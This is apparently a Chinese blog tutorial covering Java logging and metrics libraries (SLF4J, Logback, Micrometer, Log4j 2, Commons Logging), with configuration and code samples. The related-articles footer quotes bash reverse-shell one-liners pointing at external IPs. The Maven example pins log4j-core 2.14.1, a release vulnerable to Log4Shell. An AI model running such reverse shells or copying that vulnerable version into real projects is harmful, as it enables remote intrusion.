【Java万花筒】日志与性能监控:Java日志领域的掌中宝剑

“日志与性能监控:Java开发者的得力助手

前言

在现代软件开发中,日志记录和性能监控是确保应用程序健康运行的不可或缺的组成部分。为了满足开发者对灵活性和性能的需求,Java 社区涌现出多个强大的库,本文将深入探讨其中几个关键的日志与性能监控库,帮助读者更好地理解它们的特性和用法。

欢迎订阅专栏:Java万花筒

文章目录

  • “日志与性能监控:Java开发者的得力助手
    • 前言
    • 1. SLF4J (Simple Logging Facade for Java)
      • 1.1 概述
      • 1.2 使用 SLF4J 记录日志
      • 1.3 与各种日志框架的集成
      • 1.4 MDC (Mapped Diagnostic Context)
        • 1.4.1 简介
        • 1.4.2 使用 MDC 记录上下文信息
        • 1.4.3 与不同日志框架的兼容性
      • 1.5 SLF4J Logger 进阶用法
        • 1.5.1 Logger 参数化日志
        • 1.5.2 日志级别的动态判断
    • 2. Logback
      • 2.1 Logback 简介
      • 2.2 配置选项
      • 2.3 Logback 中的 Appender 类型
      • 2.4 Logback 过滤器
        • 2.4.1 过滤器简介
        • 2.4.2 日志级别过滤器
        • 2.4.3 关键字过滤器
        • 2.4.4 自定义过滤器
    • 3. Micrometer (度量、监控库)
      • 3.1 Micrometer 概览
      • 3.2 使用 Micrometer 进行指标收集
      • 3.3 与监控系统的集成
      • 3.4 自定义仪表板和警报
      • 3.5 Micrometer 的标注(Tags)功能
        • 3.5.1 简介
        • 3.5.2 在指标中使用标注
        • 3.5.3 标注在监控系统中的应用
      • 3.6 Micrometer 的自定义度量指标
        • 3.6.1 自定义度量指标简介
        • 3.6.2 创建自定义度量指标
    • 4. Log4j 2
      • 4.1 Log4j 2 简介
      • 4.2 日志配置与性能优化
      • 4.3 插件和扩展功能
      • 4.4 Log4j 2 的性能优化
        • 4.4.1 异步日志记录
        • 4.4.2 级别过滤和条件日志
      • 4.5 Log4j 2 的插件和扩展
        • 4.5.1 插件机制简介
        • 4.5.2 插件的使用
    • 5. Apache Commons Logging
      • 5.1 Apache Commons Logging 简介
      • 5.2 与其他日志框架的桥接
      • 5.3 使用场景和最佳实践
      • 5.4 使用 Log4J 2 作为实际的日志实现
        • 5.4.1 集成 Log4J 2
        • 5.4.2 配置 Log4J 2 作为实际的日志实现
    • 总结

1. SLF4J (Simple Logging Facade for Java)

1.1 概述

SLF4J(Simple Logging Facade for Java)是一种为 Java 提供简单日志门面的框架。它通过提供统一的日志接口,使得应用程序可以灵活地切换底层的日志实现。SLF4J 的设计理念是将应用程序代码和具体的日志实现解耦,使得开发者可以根据需求选择不同的日志框架。SLF4J 提供了一组简单的接口,包括 Logger、LoggerFactory 等。

1.2 使用 SLF4J 记录日志

以下是一个简单的 SLF4J 使用示例,演示如何在 Java 代码中记录日志:

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;public class MyLoggerExample {private static final Logger logger = LoggerFactory.getLogger(MyLoggerExample.class);public static void main(String[] args) {logger.info("这是一个信息日志");logger.warn("这是一个警告日志");logger.error("这是一个错误日志", new Exception("示例异常"));}
}

1.3 与各种日志框架的集成

SLF4J 可以与多种日志框架集成,包括 Logback、Log4j、Java Util Logging 等。通过选择不同的实现,可以方便地切换日志框架。

<!-- Maven 依赖示例,使用 Logback 作为底层实现 -->
<dependency><groupId>ch.qos.logback</groupId><artifactId>logback-classic</artifactId><version>1.2.3</version>
</dependency>

1.4 MDC (Mapped Diagnostic Context)

1.4.1 简介

SLF4J的MDC(Mapped Diagnostic Context)是一种用于在应用程序中传递上下文信息的机制。它允许在日志记录过程中传递键值对,这些键值对与特定的线程关联。MDC对于记录与特定业务交互相关的信息非常有用,例如用户ID、请求ID等。

1.4.2 使用 MDC 记录上下文信息

以下是一个使用SLF4J的MDC记录上下文信息的例子:

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.slf4j.MDC;public class MDCExample {private static final Logger logger = LoggerFactory.getLogger(MDCExample.class);public static void main(String[] args) {// 在MDC中设置上下文信息MDC.put("userId", "123");MDC.put("requestId", "ABC");// 记录日志logger.info("用户执行了某个操作");// 清除上下文信息MDC.clear();}
}
1.4.3 与不同日志框架的兼容性

MDC并非SLF4J独有的特性,它在与不同的日志框架集成时同样有效。例如,在Logback中,MDC的上下文信息可以通过%X占位符输出:

<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender"><encoder><pattern>%d{HH:mm:ss.SSS} [%t] %-5level [%X{userId},%X{requestId}] %logger{36} - %msg%n</pattern></encoder>
</appender>

1.5 SLF4J Logger 进阶用法

1.5.1 Logger 参数化日志

SLF4J Logger支持参数化日志,这是一种更高效的方式,尤其是在记录大量数据时。参数化日志通过占位符 {} 实现,避免了字符串拼接的开销。

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;public class ParameterizedLoggingExample {private static final Logger logger = LoggerFactory.getLogger(ParameterizedLoggingExample.class);public static void main(String[] args) {String user = "John";int age = 30;// 参数化日志记录logger.info("User {} is {} years old", user, age);}
}
1.5.2 日志级别的动态判断

有时候,根据某些条件,我们可能需要动态地判断是否记录某个特定日志级别的日志。SLF4J提供了相应的判断方法,如isDebugEnabled()isInfoEnabled()等。

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;public class DynamicLogLevelExample {private static final Logger logger = LoggerFactory.getLogger(DynamicLogLevelExample.class);public static void main(String[] args) {String message = "This is a debug message";// 动态判断是否记录DEBUG级别的日志if (logger.isDebugEnabled()) {logger.debug(message);}}
}

2. Logback

2.1 Logback 简介

Logback 是 SLF4J 的一个实现,是一款高效、灵活且可配置的日志框架。它支持多种 Appender 类型,可以输出日志到控制台、文件、远程服务器等目标。Logback 提供了对异步日志的支持,可用于提高日志记录的性能。

2.2 配置选项

Logback 使用 XML 配置文件进行配置,允许开发者灵活定义日志的输出格式、目标以及日志级别。以下是一个简单的 Logback 配置文件示例:

<configuration><appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender"><encoder><pattern>%-4relative [%thread] %-5level %logger{35} - %msg%n</pattern></encoder></appender><root level="debug"><appender-ref ref="CONSOLE" /></root>
</configuration>

2.3 Logback 中的 Appender 类型

Logback 提供多种 Appender 类型,用于定义日志的输出目标。常见的 Appender 类型包括 ConsoleAppender、FileAppender、SocketAppender 等。以下是一个使用 FileAppender 记录日志到文件的例子:

<appender name="FILE" class="ch.qos.logback.core.FileAppender"><file>mylog.log</file><encoder><pattern>%-4relative [%thread] %-5level %logger{35} - %msg%n</pattern></encoder>
</appender>

2.4 Logback 过滤器

2.4.1 过滤器简介

Logback 提供了强大的过滤器机制,允许开发者在特定条件下控制是否记录某条日志。过滤器可以根据日志级别、关键字、线程等进行配置,使日志记录更为灵活和可定制。

2.4.2 日志级别过滤器

日志级别过滤器允许你根据日志的级别来控制是否记录该日志。以下是一个使用日志级别过滤器的例子:

<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender"><filter class="ch.qos.logback.classic.filter.LevelFilter"><level>ERROR</level><onMatch>ACCEPT</onMatch><onMismatch>DENY</onMismatch></filter><encoder><pattern>%-4relative [%thread] %-5level %logger{35} - %msg%n</pattern></encoder>
</appender>

在上述例子中,只有日志级别为ERROR的日志会被记录。

2.4.3 关键字过滤器

关键字过滤器允许你根据日志内容中是否包含特定关键字来控制是否记录该日志。以下是一个使用关键字过滤器的例子:

<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender"><filter class="ch.qos.logback.core.filter.EvaluatorFilter"><evaluator class="ch.qos.logback.classic.boolex.JaninoEventEvaluator"><expression>message.contains("important")</expression></evaluator><OnMismatch>NEUTRAL</OnMismatch><OnMatch>ACCEPT</OnMatch></filter><encoder><pattern>%-4relative [%thread] %-5level %logger{35} - %msg%n</pattern></encoder>
</appender>

在上述例子中,只有日志消息中包含关键字"important"的日志会被记录。

2.4.4 自定义过滤器

除了内置的过滤器外,Logback还允许开发者自定义过滤器。通过实现 ch.qos.logback.core.filter.Filter 接口,可以创建符合特定需求的过滤器。

import ch.qos.logback.core.filter.Filter;
import ch.qos.logback.core.spi.FilterReply;
import ch.qos.logback.classic.spi.ILoggingEvent;public class CustomFilter extends Filter<ILoggingEvent> {@Overridepublic FilterReply decide(ILoggingEvent event) {// 自定义过滤逻辑,返回ACCEPT、NEUTRAL、DENY中的一个return FilterReply.ACCEPT;}
}

以上只是过滤器的简单介绍,通过合理配置过滤器,可以使Logback更加灵活地满足不同场景下的日志记录需求。

3. Micrometer (度量、监控库)

3.1 Micrometer 概览

Micrometer 是一款用于应用程序度量和监控的库,它支持多种监控系统,如 Prometheus、Graphite、InfluxDB 等。Micrometer 提供了一套简洁的 API,用于收集应用程序的指标数据,如内存使用、CPU 使用率等。

3.2 使用 Micrometer 进行指标收集

Micrometer 的使用非常简单,开发者只需要添加相应的依赖,并通过 Micrometer API 记录指标即可。以下是一个使用 Micrometer 记录自定义计数器的例子:

import io.micrometer.core.instrument.Counter;
import io.micrometer.core.instrument.MeterRegistry;public class MicrometerExample {private static final MeterRegistry registry = // 初始化 MeterRegistry 的代码;public static void main(String[] args) {Counter myCounter = Counter.builder("my.custom.counter").description("My custom counter description").register(registry);myCounter.increment();}
}

3.3 与监控系统的集成

Micrometer 提供了与多种监控系统的集成,例如 Prometheus、Graphite、InfluxDB 等。通过简单的配置,开发者可以将应用程序的指标数据导出到喜欢的监控系统中。

<!-- Maven 依赖示例,使用 Micrometer 导出到 Prometheus -->
<dependency><groupId>io.micrometer</groupId><artifactId>micrometer-registry-prometheus</artifactId><version>1.7.3</version>
</dependency>

3.4 自定义仪表板和警报

Micrometer 支持创建自定义仪表板,并设置警报规则。通过这些功能,开发者可以根据应用程序的性能和健康状态制定相应的监控策略。

3.5 Micrometer 的标注(Tags)功能

3.5.1 简介

Micrometer 提供了标注(Tags)的功能,允许开发者为指标添加额外的维度信息。标注使得相同的指标可以根据不同的维度进行区分,更加灵活地满足不同场景下的监控需求。

3.5.2 在指标中使用标注

以下是一个使用 Micrometer 标注的例子,展示了如何为指标添加维度信息:

import io.micrometer.core.instrument.Counter;
import io.micrometer.core.instrument.MeterRegistry;
import io.micrometer.core.instrument.Tags;public class MicrometerTagsExample {private static final MeterRegistry registry = // 初始化 MeterRegistry 的代码;public static void main(String[] args) {// 使用标注创建带有维度信息的计数器Counter myTaggedCounter = Counter.builder("my.tagged.counter").description("My tagged counter description").tags("environment", "production", "app", "my-app").register(registry);myTaggedCounter.increment();}
}

在上述例子中,通过使用 .tags("environment", "production", "app", "my-app") 方法,为计数器添加了两个标注,分别是 “environment: production” 和 “app: my-app”。

3.5.3 标注在监控系统中的应用

标注信息不仅仅停留在应用程序内部,还会随着指标数据一同导出到监控系统。在监控系统中,可以根据标注的维度信息更精细地查看和分析指标数据。

在 Prometheus 查询语言中,可以通过标注进行更灵活的数据筛选:

my_tagged_counter{environment="production", app="my-app"}

通过 Micrometer 的标注功能,开发者可以更细致地了解应用程序的性能特征,使监控系统更具智能化和可定制性。

3.6 Micrometer 的自定义度量指标

3.6.1 自定义度量指标简介

除了内置的度量指标外,Micrometer还允许开发者创建自定义的度量指标。这为应用程序提供了更大的灵活性,可以根据具体业务需求记录特定的度量数据。

3.6.2 创建自定义度量指标

以下是一个创建自定义计时器的例子,展示了如何使用 Micrometer 记录某个特定操作的执行时间:

import io.micrometer.core.instrument.MeterRegistry;
import io.micrometer.core.instrument.Timer;public class CustomTimerExample {private static final MeterRegistry registry = // 初始化 MeterRegistry 的代码;public static void main(String[] args) {// 创建自定义计时器Timer customTimer = Timer.builder("custom.operation.timer").description("Custom operation timer description").register(registry);// 记录某个特定操作的执行时间customTimer.record(() -> {// 执行需要度量的操作});}
}

通过创建自定义度量指标,开发者可以更加精细地监控应用程序的性能和行为,为系统优化和故障排查提供有力支持。

以上是 Micrometer 库的进一步拓展,通过标注功能和自定义度量指标的使用,使得 Micrometer 更适用于不同场景下的应用程序监控需求。

4. Log4j 2

4.1 Log4j 2 简介

Log4j 2 是 Apache 的一款先进的日志框架,是 Log4j 的升级版。它提供了更强大的日志功能,包括异步日志、插件支持、可插拔的架构等。Log4j 2 的性能较高,适用于大型和高并发的应用程序。

4.2 日志配置与性能优化

Log4j 2 使用 XML、JSON 或属性文件进行配置,可以灵活定义日志输出的格式、级别和目标。优化性能方面,Log4j 2 提供了异步日志记录的支持,可以显著提高日志记录的性能。以下是一个简单的 Log4j 2 配置文件示例:

<Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/></Console></Appenders><Loggers><Root level="info"><AppenderRef ref="Console"/></Root></Loggers>
</Configuration>

4.3 插件和扩展功能

Log4j 2 支持插件系统,允许开发者扩展其功能。通过插件,可以自定义 Appender、Layout、Filter 等组件,以满足特定的日志需求。以下是一个自定义 Appender 插件的简单示例:

@Plugin(name = "MyCustomAppender", category = "Core", elementType = "appender", printObject = true)
public class MyCustomAppender extends AbstractAppender {protected MyCustomAppender(String name, Filter filter, Layout<? extends Serializable> layout, boolean ignoreExceptions) {super(name, filter, layout, ignoreExceptions);}@Overridepublic void append(LogEvent event) {// 自定义日志记录逻辑}
}

4.4 Log4j 2 的性能优化

4.4.1 异步日志记录

Log4j 2 引入了异步日志记录的支持,可以显著提高日志记录的性能。通过异步记录,应用程序可以在不阻塞主线程的情况下进行日志记录,从而减小对系统性能的影响。以下是启用异步日志的配置示例:

<Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/></Console></Appenders><Loggers><Root level="info"><AppenderRef ref="Console"/></Root></Loggers><!-- 启用异步日志 --><AsyncLogger name="com.example" level="info" additivity="false"><AppenderRef ref="Console"/></AsyncLogger>
</Configuration>

在上述配置中,通过 <AsyncLogger> 元素启用了异步日志记录,仅对指定的日志记录器(logger)生效。

4.4.2 级别过滤和条件日志

Log4j 2 提供了更灵活的级别过滤和条件日志功能。通过条件配置,可以根据特定条件决定是否记录某个日志。以下是一个使用条件日志的例子:

<Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/></Console></Appenders><Loggers><!-- 只记录包含关键字 "important" 的 DEBUG 日志 --><Logger name="com.example" level="debug"><AppenderRef ref="Console"/><Filters><ThresholdFilter level="debug" onMatch="ACCEPT" onMismatch="DENY"/><RegexFilter regex=".*important.*" onMatch="ACCEPT" onMismatch="DENY"/></Filters></Logger></Loggers>
</Configuration>

在上述配置中,使用 <Filters> 元素配置了两个过滤器,分别是 ThresholdFilterRegexFilter,用于根据条件决定是否记录日志。

Log4j 2 的性能优化功能使其成为处理大规模日志的理想选择。通过合理配置,可以提高日志记录效率,同时满足不同场景下的需求。

4.5 Log4j 2 的插件和扩展

4.5.1 插件机制简介

Log4j 2 引入了插件机制,使得开发者可以轻松扩展其功能。插件可以用于自定义 Appender、Layout、Filter 等组件,满足特定的日志需求。以下是一个简单的自定义 Appender 插件的示例:

@Plugin(name = "MyCustomAppender", category = "Core", elementType = "appender", printObject = true)
public class MyCustomAppender extends AbstractAppender {protected MyCustomAppender(String name, Filter filter, Layout<? extends Serializable> layout, boolean ignoreExceptions) {super(name, filter, layout, ignoreExceptions);}@Overridepublic void append(LogEvent event) {// 自定义日志记录逻辑}
}
4.5.2 插件的使用

自定义插件定义完成后,可以通过配置文件进行引用和使用。以下是一个使用自定义 Appender 插件的配置示例:

<Configuration status="WARN"><Appenders><!-- 引用自定义的 Appender 插件 --><MyCustomAppender name="MyAppender" level="info"><PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/></MyCustomAppender></Appenders><Loggers><Root level="info"><!-- 使用自定义的 Appender 插件 --><AppenderRef ref="MyAppender"/></Root></Loggers>
</Configuration>

在上述配置中,通过 <MyCustomAppender> 元素引用了自定义的 Appender 插件,并配置了相应的参数。

5. Apache Commons Logging

5.1 Apache Commons Logging 简介

Apache Commons Logging 是 Apache 组织提供的一套通用的日志抽象库。它的设计目标是为了让开发者在不同的日志实现之间切换更加容易。Apache Commons Logging 并不是直接提供日志功能,而是通过简单的接口,允许应用程序使用不同的日志实现。

5.2 与其他日志框架的桥接

Apache Commons Logging 提供了桥接机制,允许开发者在应用程序中使用 Apache Commons Logging 接口,然后通过配置选择具体的日志实现。以下是一个使用 Apache Commons Logging 的示例:

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;public class CommonsLoggingExample {private static final Log logger = LogFactory.getLog(CommonsLoggingExample.class);public static void main(String[] args) {logger.info("这是一个信息日志");logger.warn("这是一个警告日志");logger.error("这是一个错误日志", new Exception("示例异常"));}
}

5.3 使用场景和最佳实践

Apache Commons Logging 适用于需要在不同的日志实现之间切换的场景。开发者可以在应用程序中使用 Apache Commons Logging 接口,并通过配置文件选择合适的日志实现。在使用 Apache Commons Logging 时,要注意避免与其他日志库的混用,以免引起冲突。

5.4 使用 Log4J 2 作为实际的日志实现

5.4.1 集成 Log4J 2

Apache Commons Logging 可以通过桥接机制集成 Log4J 2 作为实际的日志实现。在这种集成下,Log4J 2 将接管 Apache Commons Logging 的日志记录工作。以下是一个配置示例:

<!-- Maven 依赖示例,使用 Log4J 2 作为实际的日志实现 -->
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version>
</dependency>
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version>
</dependency>
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-jcl</artifactId><version>2.14.1</version>
</dependency>
5.4.2 配置 Log4J 2 作为实际的日志实现

log4j2.xml 文件中配置 Log4J 2,作为 Apache Commons Logging 的实际日志实现:

<Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/></Console></Appenders><Loggers><Root level="info"><AppenderRef ref="Console"/></Root></Loggers>
</Configuration>

在上述配置中,通过 <Root> 元素配置了默认的日志级别和输出目标。

通过将 Log4J 2 集成到 Apache Commons Logging 中,开发者可以享受 Log4J 2 强大的功能,并且仍然保持了日志抽象层的灵活性。

总结

通过本文的探究,读者对日志与性能监控库有了更深刻的理解。了解了SLF4J、Logback、Micrometer、Log4j 2以及Apache Commons Logging这些库的基本概念和使用方法,读者将更好地应对日志记录和性能监控的挑战。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/613853.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pytorch11:模型加载与保存、finetune迁移训练

目录 一、模型加载与保存1.1 序列化与反序列化概念1.2 pytorch中的序列化与反序列化1.3 模型保存的两种方法1.4 模型加载两种方法 二、断点训练2.1 断点保存代码2.2 断点恢复代码 三、finetune3.1 迁移学习3.2 模型的迁移学习3.2 模型微调步骤3.2.1 模型微调步骤3.2.2 模型微调…

Asp .Net Core 系列: 集成 CORS跨域配置

文章目录 什么是CORS?Asp .Net Core 种如何配置CORS?CorsPolicyBuilder类详解注册以及使用策略三种方式EnableCors 和 DisableCors 特性关于带证书与不带证书代码的实现跨源&#xff08;cross-origin&#xff09;不带请求证书(Credentials)跨源&#xff08;cross-origin&…

c++析构函数

析构函数的简述 1. 析构函数和构造函数类似&#xff0c;是c规定当对象的生命周期结束时&#xff0c;默认你会调用析构函数。 2. 同理&#xff0c;当我们不写析构函数的时候&#xff0c;编译器会自动生成一个空实现的析构函数。 3. 析构函数只能编译器自己调用&#xff0c;我们…

CSS 选择器全攻略:从入门到精通(上)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

在Maven中设置JVM系统参数及Java应用调试实例

在Maven中设置JVM系统参数及Java应用调试实例 在进行Java应用程序开发时&#xff0c;我们通常需要配置Maven构建过程中Java虚拟机&#xff08;JVM&#xff09;的额外系统参数&#xff0c;以便进行性能优化、日志配置或远程调试等操作。本文将详细介绍如何在Maven中设置JVM系统…

JavaScript从入门到精通系列第三十一篇:详解JavaScript中的字符串和正则表达式相关的方法

文章目录 知识回顾 1&#xff1a;概念回顾 2&#xff1a;正则表达式字面量 一&#xff1a;字符串中正则表达式方法 1&#xff1a;split 2&#xff1a;search 3&#xff1a;match 4&#xff1a;replace 知识回顾 1&#xff1a;概念回顾 正则表达式用于定义一些字符串的…

MySql command line client命令解析

一、启动与退出 1、进入MySQL&#xff1a;启动MySQL Command Line Client&#xff08;MySQL的DOS界面&#xff09;&#xff0c;直接输入安装时的密码即可。此时的提示符是&#xff1a;mysql> 2、退出MySQL&#xff1a;quit 或 exit 二、库操作 1、创建数据库 命令&#xff1…

代码随想录算法训练营第二天|977 有序数组的平方、209长度最小的子数组、59 螺旋矩阵||

977 有序数组的平方 题目链接&#xff1a;有序数组的平方 思路 暴力解法 很容易想到的就是按照题目的说明&#xff0c;先给非递减数组中的每个元素做平方&#xff0c;然后使用一个排序函数对齐进行排序即可。 class Solution { public:vector<int> sortedSquares(ve…

反弹shell方法汇总

假设本机地址10.10.10.11&#xff0c;监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令&#xff1a; bash -i >& /dev/tcp/192.168.245.129/1234 0>&1 /bin/bash -i > /dev/tcp/154.21…

STL之pair

目录 pair的定义和结构 示例 pair的嵌套 示例 pair自带排序规则 示例 代码示例 pair的定义和结构 在c中&#xff0c;pair是一个模板类&#xff0c;用于表示一对值的组合。它位于<utility>头文件中。pair类的定义如下&#xff1a; template<class T1,class T2…

IntelliJ IDEA Java 连接 mysql 配置(附完整 demo)

下载 MySQL 驱动 从MySQL官网下载JDBC驱动的步骤如下&#xff1a; 1&#xff09;访问MySQL的官方网站&#xff1a;MySQL 2&#xff09;点击页面上方的"DOWNLOADS"菜单&#xff1b; 3&#xff09;在下载页面&#xff0c;找到"MySQL Community (GPL) Downloads…

QObject_thread

QObject::thread QThread *QObject::thread() 返回对象所在的线程。 QThread *QObject::thread() const {return d_func()->threadData.loadRelaxed()->thread.loadAcquire(); }void QObject::moveToThread(QThread *targetThread) 将此对象及其孩子关联到targetThre…

C++内存管理机制(侯捷)笔记2

C内存管理机制&#xff08;侯捷&#xff09; 本文是学习笔记&#xff0c;仅供个人学习使用。如有侵权&#xff0c;请联系删除。 参考链接 Youtube: 侯捷-C内存管理机制 Github课程视频、PPT和源代码: https://github.com/ZachL1/Bilibili-plus 下面是第二讲allocator具体实…

11 双向链表

单链表的局限&#xff1a; 单链表的缺点&#xff1a;逆序访问单链表中的元素耗时大。&#xff08;时间复杂度&#xff1a;O&#xff09; 双向链表的定义 第0个节点【a1】的pre指针为NULL&#xff0c;要注意 插入操作&#xff1a; 删除操作&#xff1a; 初步实现双链表 代码&…

【Vue系列】Vue3快速构建项目,以及在已有代码情况首次打开如何初始化依赖项

欢迎来到《小5讲堂》 大家好&#xff0c;我是全栈小5。 这是是《前端》序列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识点的理解和掌…

一天一个设计模式---适配器模式

概念 适配器模式是一种结构型设计模式&#xff0c;用于将一个类的接口转换成客户端所期望的另一个接口。它允许不兼容的接口之间进行协同工作&#xff0c;使得原本由于接口不匹配而无法合作的类能够一起工作。 具体内容 适配器模式主要包括以下几个要素&#xff1a; 目标接…

C 语言结构体和枚举完全指南:成员访问、字符串操作、枚举基础

访问结构体成员 要访问结构体的成员&#xff0c;请使用点语法 (.): // 创建名为 myStructure 的结构体 struct MyStructure {int myNum;char myLetter; };int main() {// 创建名为 s1 的 myStructure 的结构体变量struct MyStructure s1;// 为 s1 的成员分配值s1.myNum 13;s…

Miniconda Python解释器 Conda 包管理器 Pytorch

Miniconda Miniconda 是一个轻量级的 Anaconda 版本&#xff0c;它是一个用于管理 Python 环境和包的开源工具。Anaconda 是一个数据科学和机器学习的开发环境&#xff0c;它包含了许多常用的 Python 包和工具。 与 Anaconda 相比&#xff0c;Miniconda 的安装包更小&#xf…

VBA中类的解读及应用第八讲:实现定时器功能的自定义类事件

《VBA中类的解读及应用》教程【10165646】是我推出的第五套教程&#xff0c;目前已经是第一版修订了。这套教程定位于最高级&#xff0c;是学完初级&#xff0c;中级后的教程。 类&#xff0c;是非常抽象的&#xff0c;更具研究的价值。随着我们学习、应用VBA的深入&#xff0…

Java中输入和输出处理(三)二进制篇

叮咚&#xff01;加油&#xff01;马上学完 读写二进制文件Data DataInputStream类 FilFeInputStream的子类 与FileInputStream类结合使用读取二进制文件 DataOutputStream类 FileOutputStream的子类 与FileOutputStream类结合使用写二进制文件 读写二进制代码 package 面…